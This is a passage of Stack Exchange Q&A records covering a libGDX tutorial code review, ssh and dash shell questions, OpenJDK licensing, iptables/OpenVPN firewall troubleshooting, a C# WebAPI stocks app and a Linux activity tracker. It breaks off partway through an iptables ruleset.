difficulty);        this.libGDXGame = libGDXGame;        this.buildTutorialUI();        this.tutorialPhase = TutorialPhase.START;        this.tutorialMode = true;        this.setLabelTextForPhase();    }    private void buildTutorialUI() {        this.tutorialTable = new Table(this.libGDXGame.skin);        this.tutorialTable.setFillParent(true);        this.libGDXGame.hudStage.addActor(this.tutorialTable);        this.tutLabel1 = new Label(, this.libGDXGame.smallButtonFontStyle);        this.tutorialTable.add(this.tutLabel1).padBottom(-10);        this.tutorialTable.row();        this.tutLabel2 = new Label(, this.libGDXGame.smallButtonFontStyle);        this.tutorialTable.add(this.tutLabel2).padTop(-10).padBottom(-10);        this.tutorialTable.row();        this.tutLabel3 = new Label(, this.libGDXGame.smallButtonFontStyle);        this.tutorialTable.add(this.tutLabel3).padTop(-10).padBottom(-10);        this.addOverlayTable();    }    private void setLabelTextForPhase() {        this.tutLabel1.setText(this.tutorialPhase.tut1);        this.tutLabel2.setText(this.tutorialPhase.tut2);        this.tutLabel3.setText(this.tutorialPhase.tut3);    }    private void addOverlayTable() {        this.overlayTable = new Table(this.libGDXGame.skin);        this.overlayTable.setFillParent(true);        //this.overlayTable.setDebug(true);        Image image = new Image(this.libGDXGame.alpha);        this.overlayTable.add(image).expand().fill();        this.overlayTable.addListener(new ClickListener() {            @Override            public void clicked(InputEvent event, float x, float y) {                TutorialGameScreen.this.advanceTutorial();            }        });        this.libGDXGame.hudStage.addActor(this.overlayTable);    }    private void advanceTutorial() {        this.overlayTable.remove();        int phaseNumber = this.tutorialPhase.ordinal();        //if its the last phase        //end the tutorial        if (phaseNumber == TutorialPhase.values().length - 1) {            this.tutLabel1.remove();            this.tutLabel2.remove();            this.tutLabel3.remove();            this.tutorialMode = false;            return;        }        this.tutorialPhase = TutorialPhase.values()[(phaseNumber + 1)];        if (this.tutorialPhase == TutorialPhase.CREEP_MODE) {            this.world.setGameType(GameType.CREEP);        }        if (this.tutorialPhase == TutorialPhase.SHOOT) {            SequenceAction sequence = new SequenceAction();            sequence.addAction(Actions.scaleTo(2, 2, 0.5f, Interpolation.sine));            sequence.addAction(Actions.scaleTo(1, 1, 0.5f, Interpolation.sine));            this.playerCannonBox.addAction(Actions.forever(sequence));        }        this.setLabelTextForPhase();        if (this.tutorialPhase.needsOverlay) {            this.addOverlayTable();        }    }    @Override    protected void cannonDragStopped(float x, float y) {        super.cannonDragStopped(x, y);        if (this.tutorialPhase == TutorialPhase.SHOOT) {            this.advanceTutorial();            this.playerCannonBox.clearActions();            this.playerCannonBox.setScale(1);        }    }    @Override    public void cannonballHitTile(final Tile tile, Tile building) {        super.cannonballHitTile(tile, building);        if (building.getType() != TileType.NONE &&            this.tutorialPhase == TutorialPhase.SHOOT_WALLS &&            !this.world.isPlayerTile(tile.position)) {            this.advanceTutorial();        }    }    @Override    public void wallBuiltAtPoint(MapPoint point) {        super.wallBuiltAtPoint(point);        if (this.tutorialPhase == TutorialPhase.BUILD_WALLS &&            this.world.isPlayerTile(point)) {            this.advanceTutorial();        }    }    @Override    public void floorBuiltOnTile(Tile tile) {        if (this.tutorialPhase == TutorialPhase.BUILD_FLOOR &&            this.world.isPlayerTile(tile.position)) {            this.advanceTutorial();        }    }}TutorialPhasepublic enum TutorialPhase {    START(Welcome to Castleparts.,          Click to continue.,          ,          false),    SHOOT(See the white square,          around your cannon?,          Click, drag, release to shoot.,          false),    SHOOT_WALLS(Good shot!,                Now try to hit your enemy.,                Aim for one of the walls.,                false),    BUILD_WALLS(Nice! See the wall,                buttons at the bottom?,                Drag and drop to place one.,                false),    BUILD_FLOOR(Very good.,                Fully enclose to build floors.,                Floors score points.,                false),    INFO(Great! Have the most,         floors at the end to win.,         And watch your energy!,         true),    CREEP_MODE(In creep mode, the,               enemy floors spread out,               continuously.,               true),    ALL_DONE(Have fun!,             And make sure to,             try the multiplayer.,             true);    public final String tut1;    public final String tut2;    public final String tut3;    public final boolean needsOverlay;    private TutorialPhase(String tut1, String tut2, String tut3, boolean needsOverlay) {        this.tut1 = tut1;        this.tut2 = tut2;        this.tut3 = tut3;        this.needsOverlay = needsOverlay;    }}And here's a screenshot:"  , "title": "Game Tutorial in Java"  , "tags": "java;object oriented;game;libgdx"  , "accepted_answer": "SubclassingIn short, I definitely think you made the correct decision here to extend GameScreen. This is the classic Is-A vs. Has-A (ie. Composition vs. Inheritance). In this case, the TutorialGameScreen is certainly a GameScreen (has everything that a standard GameScreen would have), but with added functionality (eg. ability to not run the timer, display additional UI elements, etc.). TutorialPhaseInternationalizationAny time you are displaying text to a user, you should consider the needs of your audience - including languages! Take a look at ResourceBundle for how to do this. Also this tutorial. For an enum, I find it easy to just use the enum element name as the key for the resource file. Then on your getDisplayString() method (or whatever it is called) you can simply do:public enum TutorialPhase {    // ...    public String getDisplayString() {        return ResourceBundle.getBundle(getClass().getName()).getString(name());    }    // ...}Multiple linesAs a result of internationalization you'll want to avoid hardcoding the multiple lines of text. You can't be certain that a bit of text that fits in English will also fit in, say, German. Also, there's no guarantee that a users system font settings will match your own. That said, I would advice combining those three Strings into one. I realize this poses a bit of a technical challenge (How do I split a label onto multiple lines?), but I would argue that the responsibility of solving this problem does not belong to TutorialPhase. Instead, there may be Label implementations that allow for multilines, text-wrapping, etc.Public fieldsNow that we're down to one String, it should really be private. TutorialPhase can then expose a single method (eg. getDisplayText()) to access the String. Similarly, needsOverlay should be private and we can add a method (eg. isOverlayNeeded()) to access the boolean.Updated code suggestion (you can document this enum better):public enum TutorialPhase {    /**     * The START.     */    START(false),    /**     * The SHOOT.     */    SHOOT(false),    /**     * The SHOOT_WALLS.     */    SHOOT_WALLS(false),    /**     * The BUILD_WALLS.     */    BUILD_WALLS(false),    /**     * The BUILD_FLOOR.     */    BUILD_FLOOR(false),    /**     * The INFO.     */    INFO(true),    /**     * The CREEP_MODE.     */    CREEP_MODE(true),    /**     * The ALL_DONE.     */    ALL_DONE(true);    private final boolean needsOverlay;    private TutorialPhase(final boolean needsOverlay) {        this.needsOverlay = needsOverlay;    }    /**     * Returns the text to display during the phase.     * @return The non-null, non-empty display text.     */    public String getDisplayText() {        return ResourceBundle.getBundle(getClass().getName()).getString(name());    }    /**     * Returns whether or not an overlay is needed for the phase.     * @return {@code true} if an overlay is needed, otherwise {@code false}.     */    public boolean isOverlayNeeded() {        return needsOverlay;    }}TutorialGameScreenStill related to your enum, but it happens in this class - relying on the order of enum elements is very brittle. What if you (or someone else) added a new element, or accidentally swapped them around? This would break the progression of your tutorial! Instead, you could do the following:private static final List<TutorialPhase> TUTORIAL_PHASES = Arrays.asList(        TutorialPhase.START,        TutorialPhase.SHOOT,        TutorialPhase.SHOOT_WALLS,        TutorialPhase.BUILD_WALLS,        // ...etc...);private final Iterator<TutorialPhase> phaseIterator = TUTORIAL_PHASES.iterator();...and use the Iterator to progress through the phases you have defined.Misc.Overuse of 'this'. In your code, the only place that needs it is in the constructor. The general consensus is to only use the 'this' keyword when necessary in order to maintain clean code.Make your private fields final whenever possible. See: Use final liberally"  } 
{  "id": "_unix.351591"  , "question": "I am doing ssh on a machine and executing certain commands.My last command gives me a variable which I need for a script present locally. However, how do I access that variable after I logout from the machine?Edit: Please assume that I have already login to the machine. "  , "title": "How to persist variable from remote shell"  , "tags": "bash;ssh;remote"  , "accepted_answer": "Depends on how you want to do it. Getting the output of a single command within an interactive session isn't that easy to do automatically. You could of course just copy and paste the output from the terminal. But you could also save the output to a file on the remote, and then do something like var=$(ssh remote cat file.with.var), or run the command that generates the final output similarly: var=$(ssh remote somecommand). Or, if you want to do it directly from an interactive session, you could rig up an expect script to do it."  } 
{  "id": "_webmaster.16449"  , "question": "Among other I run a humor site, developed in php. I have a custom search built where people search for everything under the sun.I have noticed that it helps me to have a Latest searches section where I list the latest searches performed.As you can understand I have a lot of searches that are naughty. Not because I have anything offensive on the site, but I guess it's what some people want to find. Most of the time what they actually find is jokes around the subject or some video of a stand up talking about the search item.The question I have is. Should I filter out these terms from my page? I am afraid that the site might get blocked from office firewalls and maybe banned by an advertising network (like adsense) just because some stupid robot found a term that thought in the sites' text.One thing that you might ask is: If the site is family safe, how come all these people search for naughty terms. 2 reasons.Google. Many times people looking for something sexy linked to a strange object (e.g. sex and lion or dog or oak tree) end up to my site. Of course they don't find what they are looking for, so they hit search which is pre-filled with the term that led them to the site. After that the term goes in latest searches.Whether A happens or just a users types in something naughty, this term's popularity is beeing reenforced by the fact that many people see it in latest searches, click on it and search for it again. So if someone searches for funny hat the term dissappears from latest searches within minutes. If he types something more spicy, other people click on it and it remains in the latest searches for hours.Once again I want to clarify that the site has ZERO nudity and it doesn't even have sexy videos. YouTube is way more sexier that my site.thanks for anyone spending the time to share his knowledge.Update: Although John Conde did give it a shot, I think the dillema at hand is still on. Should I remove controversial terms from the text of a non-controversial site? I know for a fact that Google might ban a site that it thinks is porn related. Is the risk worth it? What would you do?"  , "title": "Finally is it bad to mention words around sex in your page?"  , "tags": "seo;keywords;search"  , "accepted_answer": "I would think that this wouldn't affect your Adsense account since the actual content of your website is not sexual in nature. Additionally, having a word mentioned once or twice on a page, and sometimes not at all since newer searches can bump them off of the page, will have little impact on that page's relevancy for adult-related phrases.Having said that, I would recommend filtering out those words as they can only do you harm as you have suggested (filtering software blocking your site, etc). Since your site does not contain the kind of content implied by those search terms there is no reason to give those search terms prominent placement on your website."  } 
{  "id": "_unix.232514"  , "question": "This:set -xrm -f p; mkfifo pexec 99<>psucceeds in bash but fails (99 not found) in dash.How do I get it to work in dash?"  , "title": "Dash exec redirection error"  , "tags": "io redirection;dash"  , "accepted_answer": "The POSIX standard that was derived from the Bourne Shell and it's descendant ksh88 explicitly mentions that this is not granted to work. The reason is the shell syntax:<>fileopens stdin for reading and writing, and:[n]<>fileopens file descriptor n for reading and writing.n in this case is a single digit.You used the number 99 and this is a two digit number that is outside the range specified by POSIX. So the parser did not see it as a number that is related to the redirection operator but as a separate argument. So this argument was seen as the file to execute by exec.If you like portable scripts, follow the POSIX standard and if you like to write fully portable scripts, make things 100% Bourne Shell compatible.As there does not seem to be a reason for using 99 in your case, I recommend to use 9."  } 
{  "id": "_softwareengineering.214714"  , "question": "Current field-of-use restrictions defined in Oracle Binary Code License Agreement for the Java SE Platform Products prohibit its use in embedded systems.General Purpose Desktop Computers and Servers means computers, including desktop and laptop computers, or servers, used for general computing functions under end user control (such as but not specifically limited to email, general purpose Internet browsing, and office suite productivity tools). The use of Software in systems and solutions that provide dedicated functionality (other than as mentioned above) or designed for use in embedded or function-specific software applications... are excluded from this definition and not licensed under this Agreement.Do these restrictions also apply to OpenJDK and other possible implementations? Is the only way to use Java in such an environment to acquire a separate license from Oracle?"  , "title": "Is there any way around the field-of-use restrictions in Java?"  , "tags": "java;licensing"  , "accepted_answer": "No, these restrictions do not apply to OpenJDK. They are only for the Oracle-branded binary installation packages of the JDK and JRE (which I think still include some code that is not in OpenJDK).If you use OpenJDK, you are only bound by the OpenJDK's license, which is GPL+linking exception."  } 
{  "id": "_unix.354314"  , "question": "I have an OpenVPN Server running on my VPS. The clients behind that server are now able to surf on the internet as anonymous. Now I want to forward a port to a client. I already added these rules, without any success:sysctl -w net.ipv4.ip_forward=1iptables -t nat -A PREROUTING -p tcp --dport 28006 -j DNAT --to x.x.27.6iptables -t nat -A PREROUTING -p udp --dport 28006 -j DNAT --to x.x.27.6After it was not working, I tried additional SNAT rules like here https://unix.stackexchange.com/a/55845/223140I don't know what I should do now.."  , "title": "Forward port to OpenVPN Client"  , "tags": "iptables;openvpn;port forwarding;nat"  } 
{  "id": "_unix.331950"  , "question": "I posted this question in the Security community, and I was advised to better post it here in the Unix one. In addition I had 3 questions and 1 remark:Q1: How do you evaluate that they do not work?When I try to access my NAS using its public address, the gateway flows the request to my FW (which is in the DMZ) and the flows goes to $NAS_IP (as expected), but conntrack gives me an [unreplied] tag an the return flow from $NAS_IP is going a unexpected hard IP, on top the port 1194 is reported Closed to any check from the WAN.Q2: Is there anything in iptables -L?Yes for me it looks OK  this is where I see that I am beyond my limits.Q3: What threats do you plan to mitigate against?I intendto allow a connection requests from the WAN through this TW to the openvpn server located on $NAS_IP (one single udp port 1194)to drop any other (IP and/or port) connection from the WANto allow connection (all protocols) FW from anywhere in the LANR1: You added a lot of tags but did not explain how they pertain to iptables.It could well be because I am not smart enough to achieve with simple rules what I want to achieve.I must add that these 3 rules are part of a bigger set, but that are the only ones proceeding to a NAT.Here are the rules:iptables -t nat -A PREROUTING  -d $INET_IP -p udp --dport 1194 -j DNAT --to $NAS_IP:1194iptables -A FORWARD  -m state --state NEW,ESTABLISHED,RELATED -d $NAS_IP -j ACCEPTiptables -t nat -A POSTROUTING -p udp --dst $NAS_IP --dport 1194 -j SNAT --to-source $INET_IPQ: Is this firewall/router the network default route on your NAS? Or does your NAS have a direct route to the rest of the Internet?  roaima [2016-12-21 15:24]A:Yes the NAS has also a route to the WAN directly via the Gateway as the other LAN members.Q: How do you determine from the Internet that port 1194 is closed?A: I see that the UDP 1194 is closed because I try to connect the VPN (openvpn) and it stay stuck after having solved the HOSTNAME (DNS) and attacking the hard IP (I see this from the WAN end and also by checking conntrack).Q: You're using UDP not TCP here.A: Yes, I have openvpn on udp (not tcp) but I can change it if this simplifies the case.Q: What are your table policies (output of iptables -S | grep -w P)?A: iptables -S | grep -w P output is:    -P INPUT ACCEPT -c 8 688    -P FORWARD ACCEPT -c 0 0    -P OUTPUT ACCEPT -c 3 344Q: Do you have any DROP/REJECT rules in the FORWARD table before the rule you've shown in your question?A: Before the NAT rules I have indeed DROP rules:    #deny all what is not udp on 1194 port as well as all tcp port iptables    -A INPUT -p udp ! --source 192.168.1.0/24 --dport 1:1193 -j DROP iptables    -A INPUT -p udp ! --source 192.168.1.0/24 --dport 1195:65535 -j DROP iptables    -A INPUT -p tcp ! --source 192.168.1.0/24 --dport 1:1193 -j DROP iptables    -A INPUT -p tcp ! --source 192.168.1.0/24 --dport 1195:65535 -j DROPBut it is too radical at that stage (apt-get from the FW is now blocked...)Q+: If so, please move your FORWARD/ACCEPT to the beginning of the ruleset.A+: I did it following your recommendation  now it works!!! Thanks so much!!!!!!Q: Your third rule should rewrite to an internal IP address not what I assume is the external one.A: The third rule: -j SNAT --to-source $INET_IP relates to the FW IP address.Q: Why can traffic go from your NAS to the Gateway without going through the firewall? This makes little or no security sense.A: Maybe not a good choice. I explain my rationale (I am not fixed on it): the NAS registers itself to a domain server after each change to public gateway address and there are no ports open to external IP requests on the NAS.@roaima: I thank you very much for your so effective recomm! moreover with my messy way to misuse the comment feature. I took a bit of time to reshuffle (more properly I hope) the question text because I was banned editing as bad user (which I can understand)."  , "title": "My iptables rules don't seem to work; I do not understand what's wrong"  , "tags": "iptables;firewall;port forwarding;nat"  } 
{  "id": "_softwareengineering.111178"  , "question": "My project manager, when providing requirements for specific tasks, does not care about the implementation details. Although he has a programming background and has some knowledge of the MVC framework, he does not consider the perspective of the developer.For example, I was given a task to create a simple form in ASP.NET MVC. This form should be pluggable - that is, the customer should choose which fields do or do not exist and which fields are required. If this were a simple form with validation, I would easily be able to implement it using ASP.NET validations. However, the problem is not simple and requires design and architecture first. The time that I have to implement the solution, which is not well understood, is very restricted. Not having sufficient time will not let me come upwith a solution that meets the requirements, but also benefits myself and any future developers.What should I do in this situation? Do you feel that given requirements in the example can be expected from a single developer? "  , "title": "What should I do when my project manager does not care about implementation details?"  , "tags": "design;project management;scheduling;task"  } 
{  "id": "_unix.273333"  , "question": "Below is my input file:PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:16:46.523.177, 2 PS Sensor Value = -5.501000 , Min = -5.583000 , Max = -5.319000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:16:46.523.210, 3 PS Sensor Value = 15.996000 , Min = 15.814000 , Max = 16.078000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:16:46.523.231, 4 PS Sensor Value = -16.505000 , Min = -16.587000 , Max = -16.323000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:16:46.523.263, 5 PS Sensor Value = 6.509000 , Min = 6.327000 , Max = 6.591000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:16:46.523.302, 6 PS Sensor Value = 4.002000 , Min = 3.820000 , Max = 4.084000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:17:46.481.557, 1 PS Sensor Value = 6.199000 , Min = 6.017000 , Max = 6.281000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:17:46.518.691, 2 PS Sensor Value = -5.503000 , Min = -5.585000 , Max = -5.321000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:17:46.523.156, 3 PS Sensor Value = 15.996000 , Min = 15.814000 , Max = 16.078000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:17:46.523.195, 4 PS Sensor Value = -16.505000 , Min = -16.587000 , Max = -16.323000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:17:46.523.221, 5 PS Sensor Value = 6.509000 , Min = 6.327000 , Max = 6.591000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:17:46.523.240, 6 PS Sensor Value = 4.002000 , Min = 3.820000 , Max = 4.084000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:18:46.480.644, 1 PS Sensor Value = 6.199000 , Min = 6.017000 , Max = 6.281000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:18:46.522.615, 2 PS Sensor Value = -5.501000 , Min = -5.583000 , Max = -5.319000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:18:46.522.729, 3 PS Sensor Value = 15.996000 , Min = 15.814000 , Max = 16.078000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:18:46.522.765, 4 PS Sensor Value = -16.505000 , Min = -16.587000 , Max = -16.323000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:18:46.522.788, 5 PS Sensor Value = 6.509000 , Min = 6.327000 , Max = 6.591000PA43410-2,1,3,/vobs/atlas-idc/src/utils/logger/IDCLogger/IDC.cpp,48,19:18:46.522.810, 6 PS Sensor Value = 4.002000 , Min = 3.820000 , Max = 4.084000I need to compare the PS Sensor Value, Min and Max value. (Min greater than PS Sensor greater than Max) I'm expecting the output like below and here I should have only the normal lines.What is normal lines? : If Min value greater than PS Sensor value && PS Sensor value  is greater than Max value then the line is normal lines and that should removed.      Expected Output:                                                                                                                                   PA43410-2  PS Sensor Value = 6.509000 , Min = 6.327000 , Max = 6.591000PA43410-2 PS Sensor Value = 6.199000 , Min = 6.017000 , Max = 6.281000Eg:   If   Min < PS sensor value < Max,    // Dont care the normal  lines.         Throw this line away.   Else          Pull this line to consolidated new file. //Only focus on abnormal lines."  , "title": "How to compare the strings using < (Greater than symbol)"  , "tags": "sed;awk"  } 
{  "id": "_codereview.168774"  , "question": "I was given task to build a client server application, using any technology I want.The task was to build a database(doesn't have to be a real database, it can be mocked). the client side should support more than one user/I didn't use a real database I just created some shares and created a mechanism to update them from time to time using a random value.I initialized the database with 2 users, I don't need to add users or delete them, just show I can support more than one.Since I have a background in C# and WPF, I created 3 projects:1. WPF/MVVM client side2. common library3. WebAPI - server side, which includes the database.I would like you to please comment about the correctness of my implementation as if it was a code review for your team.OOP design, usage of client server, please don't take into account I did it with WPF.Assume you have half a day to work on the project and then submit.I would appreciate any comments or questions.1. WPF project/ MVVM - I used mvvm light tool kitMainWindow.xaml<Window x:Class=Client.MainWindow        xmlns=http://schemas.microsoft.com/winfx/2006/xaml/presentation        xmlns:x=http://schemas.microsoft.com/winfx/2006/xaml        Title=MainWindow Height=350 Width=525>    <Grid>        <Grid.RowDefinitions>            <RowDefinition Height=auto />            <RowDefinition Height=auto />            <RowDefinition Height=auto />        </Grid.RowDefinitions>        <Grid.ColumnDefinitions>            <ColumnDefinition Width=Auto></ColumnDefinition>            <ColumnDefinition Width=Auto></ColumnDefinition>        </Grid.ColumnDefinitions>        <TextBlock Grid.Row=0 Grid.Column=0 Text=enter use name:  MinWidth=75/>        <TextBox Grid.Row=0 Grid.Column=1 MinWidth=75 Text={Binding UserName,Mode=TwoWay,UpdateSourceTrigger=PropertyChanged}/>        <Button Grid.Row=1 Grid.Column=0 Content=Get All Shares Command={Binding GetAllSharesCommand,Mode=TwoWay}/>        <Button Grid.Row=1 Grid.Column=1 Content=Get My Shares Command={Binding GetSharePerUserCommand,Mode=TwoWay}/>        <DataGrid Grid.Row=2 ItemsSource={Binding Shares}>        </DataGrid>    </Grid></Window>HttpHandler.csnamespace Client{    public class HttpHandler    {        private HttpClient client;        public HttpHandler()        {            client = new HttpClient();            client.BaseAddress = new Uri(http://localhost:18702/);            client.DefaultRequestHeaders.Accept.Clear();            client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue(application/json));        }        public async Task<IEnumerable<Share>> GetallSharesAsync(string path)        {            IEnumerable<Share> shares = null;            HttpResponseMessage response = await client.GetAsync(path);            if (response.IsSuccessStatusCode)            {                shares = await response.Content.ReadAsAsync<IEnumerable<Share>>();            }            return shares;        }        public async Task<IEnumerable<Share>> GetSharePerUserAsync(string path)        {            IEnumerable<Share> shares = null;            HttpResponseMessage response = await client.GetAsync(path);            if (response.IsSuccessStatusCode)            {                shares = await response.Content.ReadAsAsync<IEnumerable<Share>>();            }            return shares;        }        public async Task<IDictionary<string, int>> GetAllUsersAsync(string path)        {            IDictionary<string, int> users2Id = null;            HttpResponseMessage response = await client.GetAsync(path);            if (response.IsSuccessStatusCode)            {                users2Id = await response.Content.ReadAsAsync<IDictionary<string, int>>();            }            return users2Id;        }    }}ClientViewModel.csnamespace Client{    public class ClientViewModel : ViewModelBase    {        private ObservableCollection<Share> _shares;        public ObservableCollection<Share> Shares        {            get { return _shares; }            set { _shares = value; }        }        private string _userName;        public string UserName        {            get { return _userName; }            set            {                _userName = value;                RaisePropertyChanged(UserName);                GetAllSharesCommand.RaiseCanExecuteChanged();            }        }        private RelayCommand _getAllSharesCommand;        public RelayCommand GetAllSharesCommand        {            get { return _getAllSharesCommand; }            set            {                _getAllSharesCommand = value;            }        }        private RelayCommand _GetSharesPerUserCommand;        public RelayCommand GetSharePerUserCommand        {            get { return _GetSharesPerUserCommand; }            set { _GetSharesPerUserCommand = value; }        }        private HttpHandler handler;        private Dictionary<string, int> _userName2Id;        public ClientViewModel()        {            GetAllSharesCommand = new RelayCommand(ExecuteGetAllShares, CanExecuteGetAllShares);            GetSharePerUserCommand = new RelayCommand(ExecuteGetSharePerUserCommand, CanExecuteGetSharePerUserCommand);            handler = new HttpHandler();            Shares = new ObservableCollection<Share>();            GetUsers();        }        private async void GetUsers()        {            IDictionary<string, int> userNames2ID = await handler.GetAllUsersAsync(api/users);            _userName2Id = new Dictionary<string, int>(userNames2ID);        }        private bool CanExecuteGetSharePerUserCommand()        {            return !String.IsNullOrEmpty(UserName);        }        private async void ExecuteGetSharePerUserCommand()        {            string temp = api/shares + / + _userName2Id[UserName];            try            {                IEnumerable<Share> tempShares = await handler.GetSharePerUserAsync(temp);                Shares.Clear();                foreach (var item in tempShares)                {                    Shares.Add(item);                }            }            catch (Exception)            {                throw;            }        }        public bool CanExecuteGetAllShares()        {            return !String.IsNullOrEmpty(UserName);        }        public async void ExecuteGetAllShares()        {            try            {                IEnumerable<Share> tempShares = await handler.GetallSharesAsync(api/shares);                Shares.Clear();                foreach (var item in tempShares)                {                    Shares.Add(item);                }            }            catch (Exception)            {                throw;            }        }    }}2.Common - project Share.csnamespace Common{    public class Share    {        public int Id { get; set; }        public string Name { get; set; }        public double Price { get; set; }    }}3.Server - WebApi project(yea I know what a great name)WebApiConfig.csnamespace SharesApp{    public static class WebApiConfig    {        public static void Register(HttpConfiguration config)        {            config.MapHttpAttributeRoutes();            config.Routes.MapHttpRoute(                name: DefaultApi,                routeTemplate: api/{controller}/{id},                defaults: new { id = RouteParameter.Optional }            );        }    }}Controllers folderSharesController.csnamespace SharesApp.Controllers{    public class SharesController : ApiController    {        //this is a mock for a real database, i'm not sure where do I need to connect to the real DB                private static IDataBase _dataBase;        public SharesController()        {            if (_dataBase == null)            {                _dataBase = new SharesDataBase();            }        }        public IEnumerable<Share> GetAllShares()        {            try            {                return _dataBase.GetAllShares();            }            catch (Exception)            {                throw;            }        }        public IHttpActionResult GetUpdatedShares(int id)        {            IEnumerable<Share> share = null;            try            {                share = _dataBase.GetShareById(id);            }            catch (Exception)            {                throw;            }            if (share == null)            {                return NotFound();            }            return Ok(share);        }       }UsersController .csnamespace SharesApp.Controllers{    public class UsersController : ApiController    {        private Dictionary<string, int> _userName2Id;        public UsersController()        {            _userName2Id = new Dictionary<string, int>();            _userName2Id.Add(user10, 1);            _userName2Id.Add(user20, 2);        }        public IDictionary<string, int> GetAllUserNames()        {            return _userName2Id;        }        public string GetUserNameById(int id)        {            if (!_userName2Id.ContainsValue(id))            {                return null;            }            return _userName2Id.FirstOrDefault(x => x.Value == id).Key;        }    }}Models folderIDataBase.csnamespace SharesApp.Models{    public interface IDataBase    {        IEnumerable<Share> GetAllShares();        IEnumerable<Share> GetShareById(int id);    }}SharesDataBase.csnamespace SharesApp.Models{    public class SharesDataBase : IDataBase    {        //user name to list of shares names        const string INTC = INTC;        const string MSFT = MSFT;        const string TEVA = TEVA;        const string YAHOO = YAHOO;        const string P500 = P500;        private List<Share> _shares;        private Random _random;        private int _maximum = 100;        private int _minimum = 1;        public Dictionary<int, List<string>> User2Shares { get; set; }        private Object thisLock = new Object();          public SharesDataBase()        {            _random = new Random();            User2Shares = new Dictionary<int, List<string>>();            //init the shares list            _shares = new List<Share>        {             new Share { Id = 1, Name = INTC, Price = 1 },             new Share { Id = 2, Name = MSFT, Price = 3.75 },             new Share { Id = 3, Name = TEVA,  Price = 16.99},            new Share { Id = 4, Name = YAHOO,  Price = 11.0},            new Share { Id = 5, Name = P500,  Price = 5.55},        };            //init the users            User2Shares.Add(1, new List<string>() { INTC, MSFT, TEVA });            User2Shares.Add(2, new List<string>() { YAHOO, P500, TEVA });            Task.Run(()=>UpdateShares());        }        private void UpdateShares()        {            while (true)            {                System.Threading.Thread.Sleep(1000);// wait for 1 sec                lock (thisLock)                {                    foreach (var item in _shares)                    {                        int tempRandom = _random.Next(1, 1000);                        if (tempRandom % 100 == 0)                        {                            item.Price = _random.NextDouble() * (_maximum - _minimum) + _minimum;                        }                    }                }            }        }        public IEnumerable<Share> GetAllShares()        {            return _shares;        }        public IEnumerable<Share> GetShareById(int id)        {            if (!User2Shares.ContainsKey(id))            {                return null;            }            var listOfShares = User2Shares[id];            if (listOfShares.Count == 0)            {                //this userName doesn't have any shares                return null;            }            List<Share> sharesList = new List<Share>();            foreach (var name in listOfShares)            {                var res = _shares.FirstOrDefault(x => x.Name == name);                if (res != null)                {                    sharesList.Add(res);                }                //share is missing from the server            }            return sharesList;        }    }"  , "title": "Stocks application using Web Api"  , "tags": "c#;asp.net web api"  } 
{  "id": "_softwareengineering.287822"  , "question": "I am trying to build something like Manic Time - which is an application that tracks what the user is currently working on. It worked flawlessly on Windows, but doesn't support Linux.It has mad features, but the core is basically just tracking what the current 'active' window is, it's process, window title etc.I've been thinking about this problem for some time and here's the Pythonic pseudo-code that I've come up with, but I'm not sure if this is the way to go. # The script will probably run as a daemonwhile True:    # Get process, window title, etc.    wnd_details = get_active_window_details()    # Save the current timestamp and the details to a database (SQLite)    insert_in_db(current_timestamp, wnd_details)    # Wait for a second    sleep(1000)Will executing a write query per second affect performance?An optimization might be to remember what the previous window details were and write to database only when the window changes (the user has switched to another application) but that will add unnecessary complexity to the code.Yet another thing to look into might be some sort of hooks or callbacks, so my Python code gets called whenever a Window change occurs (like a new window is created or active window is changed) I guess Windows had something similar to this, but have no idea about Linux."  , "title": "How to design a time tracking or activity monitoring application?"  , "tags": "desktop application;application design;ubuntu"  , "accepted_answer": "I have found an open source application that seems to be doing EXACTLY what I wanted. https://github.com/gurgeh/selfspy/"  } 
{  "id": "_unix.119507"  , "question": "These rules dont allow update the system (Debian wheezy on raspberry pi).Dont allow ping:ping: sendmsg: Operation not permitted. I am trying to install a home web server and this rules dont work properly. I want that the server allow my CMS (joomla) to update and allow the update of the system itself.What I need to change in this file to allow update joomla and debian?   *mangle    :PREROUTING ACCEPT [12:624]    :INPUT ACCEPT [12:624]    :FORWARD ACCEPT [0:0]    :OUTPUT ACCEPT [28:9440]    :POSTROUTING ACCEPT [12:2128]    COMMIT    *nat    :PREROUTING ACCEPT [0:0]    :INPUT ACCEPT [0:0]    :OUTPUT ACCEPT [0:0]    :POSTROUTING ACCEPT [0:0]    COMMIT    *filter    :INPUT DROP [0:0]    :FORWARD DROP [0:0]    :OUTPUT DROP [0:0]    :spooflist - [0:0]    -A INPUT -i eth0 -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 90 --hitcount 4 --name DEFAULT --rsource -j DROP    -A INPUT -i eth0 -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name DEFAULT --rsource    -A INPUT -j spooflist    -A INPUT -i lo -j ACCEPT    -A INPUT -i eth0 -p tcp -m tcp ! --tcp-flags FIN,SYN,RST,ACK SYN -m state --state NEW -j DROP    -A INPUT -i eth0 -f -j DROP    -A INPUT -i eth0 -p tcp -m tcp --tcp-flags 